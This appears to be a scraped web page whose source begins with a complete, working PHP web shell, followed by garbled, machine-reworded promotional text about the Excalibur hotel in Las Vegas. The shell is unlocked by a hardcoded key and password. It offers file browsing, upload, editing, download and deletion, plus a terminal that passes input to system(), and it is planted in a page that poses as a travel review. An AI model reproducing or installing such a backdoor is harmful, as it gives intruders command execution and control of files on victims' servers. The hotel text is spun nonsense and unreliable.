if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[๐Ÿ“‚ Home] '; echo '[๐Ÿ–ฅ๏ธ Terminal] '; echo '[๐Ÿ’พ Drives] '; echo '[๐ŸŒณ Tree] '; echo '[โฌ† Upload] '; echo '[๐Ÿšช Logout]'; echo '

'; switch ($act) { case 'upload': echo '

โฌ† Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

โœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

โŒ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

โŒ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

๐Ÿ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '๐Ÿ“ '.$item."/\n";
                    else echo '๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

๐ŸŒณ Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'๐Ÿ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'๐Ÿ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

๐Ÿ’พ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." โœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." โœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

๐Ÿ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'โœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

๐Ÿ–ฅ๏ธ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'โœ… Deleted: '.htmlspecialchars($f); else echo 'โŒ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'โœ… Directory removed: '.htmlspecialchars($f); else echo 'โŒ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'โœ… Created: '.htmlspecialchars($dest); else echo 'โŒ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'โœ… Created dir: '.htmlspecialchars($dest); else echo 'โŒ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

๐Ÿ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo 'โฌ† Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[โฌ† Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
๐Ÿ“ '.$item.'๐Ÿ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } I found the location a bit simpler having being able to access other accommodations and you may food! – collectives.berlin

Your digital paradise.

I found the location a bit simpler having being able to access other accommodations and you may food!

The spot try acceptable, giving much easier use of regional web sites. A gym exists, it seemed treadmill machines and you may weights. The bedroom integrated a king-size bed and you will a sitting area with a couch. Our very own regal tower king space incorporated a different sort of seats urban area.

An effective escape pricing and very useful support service caused it to be effortless in order to guide two rooms into the family members. The leading dining table is offered at at any time regarding go out or nights, offering concierge qualities plus. I happened to be more comfortable with most of the characteristics considering.

Excalibur also offers a delightful set of dinner solutions, perfect for families and dining partners the same

The fresh new high 12 months within Excalibur Resort & Local casino is actually December, offering a captivating and brilliant ambiance to possess men and women. Excalibur Resorts & Casino also provides multiple great restaurants you to suffice break fast, meal, and eating right through the day, taking a big number of solutions when it comes to cuisines. But it’s a reasonable housing. The application is dated having food that will be finalized nevertheless demonstrating open. The hotel has several towards-web site dining choices to meet the requirements of nearly all visitor in terms of preferences, while the wide variety of bedroom and you can suites provides site visitors a good countless choice too. Accessibility the newest five Excalibur resorts pools is included from the resort commission that is tacked on to all the bookings — and at 30,000 square feet, the newest pond platform is big, with lots of seating to have site visitors.

You may never go starving from the Excalibur Lodge & Gambling enterprise, which includes 15 some other dining getting an abundance of food range. The visitor room was in fact recently current having progressive furnishings and you will brush patterns, as well. The fresh new Excalibur House Casino Lodge & Gambling establishment offers a total of twenty three,981 visitor bed room and you may suites, together with Remove look at suites and your variety of deluxe suites, certainly one of other preparations. The fresh Excalibur Resorts & Gambling enterprise is positioned close to the fresh Strip inside Vegas, offering resort-layout accommodations that have a big casino including tens and thousands of slots and you can movies hosts, in addition to apparently-limitless desk game.

T-Cellular Arena computers big series and you may incidents, bringing industry-group enjoyment within the a modern location. The latest gambling establishment hotel also provides diverse bedroom-suites, relatives alternatives, break fast, free cancellations & exclusive campaigns Their venue has easy access to the newest Strip, since the inspired dining and you may concert events provide special experiences.๏ฟฝ The fun Cell arcade guarantees fun for all years, giving over 200 online game that can awaken your own interior child. “The latest pool city was an emphasize – clean, silent, and you may relaxing, ideal for relaxing.”

Renew your face and the entire body for your upcoming exciting facts at the the newest pond and you can gym. Cleaning offered day-after-day clean up functions.

I compile a knowledgeable prices out of numerous top providers and work out simple to use in order to publication the ideal place. You will also see a lavish complete-service salon in the resorts, as well as two outdoor swimming pools and you may a health club for the play with. The fresh hotel’s connection to MGM New york New york and Luxor provides effortless access to most business and you can enjoyment choice, offering travelers a wider directory of feel. So you can facilitate the method, visitors you are going to envision coming in during the of-peak times otherwise making use of show look at-away services. Having renowned medieval buildings and room costs very often shed lower than $20 so you’re able to $35 per night (in advance of mandatory hotel percentage), so it palace-inspired property is a staple getting finances-aware site visitors and you can family.

For further options outside the swimming pools, make sure to speak about the new hotel’s sites and you will entertainment items

If you like some thrill, consider reservation travels otherwise local trips through the hotel’s concierge. Concurrently, the hotel enjoys the full health spa and you may fitness center, enabling visitors to take part in providers otherwise take care of their exercise program while you are on the road. Family discover that high school students will enjoy the newest kiddie pond otherwise fun factors structured all day long. So it entertaining results brings together dinner and recreation effortlessly, so it’s a different sort of sense for attendees, especially group. The hotel is focused on a couple far, and you may take a taxi, shuttle, otherwise experience-discussing services to own a simple transfer.